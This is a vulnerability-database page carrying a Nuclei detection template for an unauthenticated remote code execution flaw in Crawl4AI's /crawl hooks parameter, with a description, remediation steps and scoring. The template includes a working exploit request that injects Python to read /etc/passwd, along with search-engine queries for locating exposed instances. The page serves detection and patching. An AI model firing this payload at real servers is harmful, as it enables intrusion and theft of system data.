Lucene search
+L

Crawl4AI < 0.8.0 - Unauthenticated Remote Code Execution via Hooks Parameter

🗓️ 02 Oct 2026 12:39:34Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 3 Views

Unauthenticated RCE in Crawl4AI Docker API deployment via the /crawl hooks parameter.

Related
Refs
Code
id: CVE-2026-26216

info:
  name: Crawl4AI < 0.8.0 - Unauthenticated Remote Code Execution via Hooks Parameter
  author: dishantmodi
  severity: critical
  description: |
    Crawl4AI versions prior to 0.8.0 contain a remote code execution vulnerability in the Docker API deployment. The /crawl endpoint accepts a hooks parameter containing Python code that is executed using exec(). The __import__ builtin was included in the allowed builtins, allowing unauthenticated remote attackers to import arbitrary modules and execute system commands. Successful exploitation allows full server compromise, including arbitrary command execution, file read and write access, sensitive data exfiltration, and lateral movement within internal networks.
  remediation: |
    Upgrade to Crawl4AI 0.8.0 or later, which removes __import__ from allowed_builtins in hook_manager.py and disables hooks by default (CRAWL4AI_HOOKS_ENABLED=false). As an interim mitigation, disable the Docker API deployment or restrict network access to it and add authentication.
  impact: |
    An unauthenticated attacker can achieve full server compromise: arbitrary command execution, file read/write, exfiltration of environment variables and API keys, and lateral movement into internal networks.
  reference:
    - https://github.com/unclecode/crawl4ai/security/advisories/GHSA-5882-5rx9-xgxp
    - https://www.vulncheck.com/advisories/crawl4ai-docker-api-unauthenticated-remote-code-execution-via-hooks-parameter
    - https://github.com/unclecode/crawl4ai/blob/main/docs/blog/release-v0.8.0.md
    - https://nvd.nist.gov/vuln/detail/CVE-2026-26216
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-26216
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"Crawl4AI"
    fofa-query: body="Crawl4AI"
  tags: cve,cve2026,crawl4ai,rce,python

http:
  - raw:
      - |
        POST /crawl HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"urls":["https://example.com"],"hooks":{"code":{"on_page_context_created":"async def hook(page, context, **kwargs):\n    _builtins = __import__('builtins')\n    with _builtins.open('/etc/passwd', 'r') as _f:\n        _data = _f.read(300)\n    _os = __import__('os')\n    raise _os.error('AEV-CANARY-{{randstr}}-' + _data)\n    return page"},"timeout":30}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "AEV-CANARY-{{randstr}}-root:x:0:0"

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2026 12:39Current
6.6Medium risk
Vulners AI Score6.6
CVSS 410
CVSS 3.110
EPSS0.01686
SSVC
3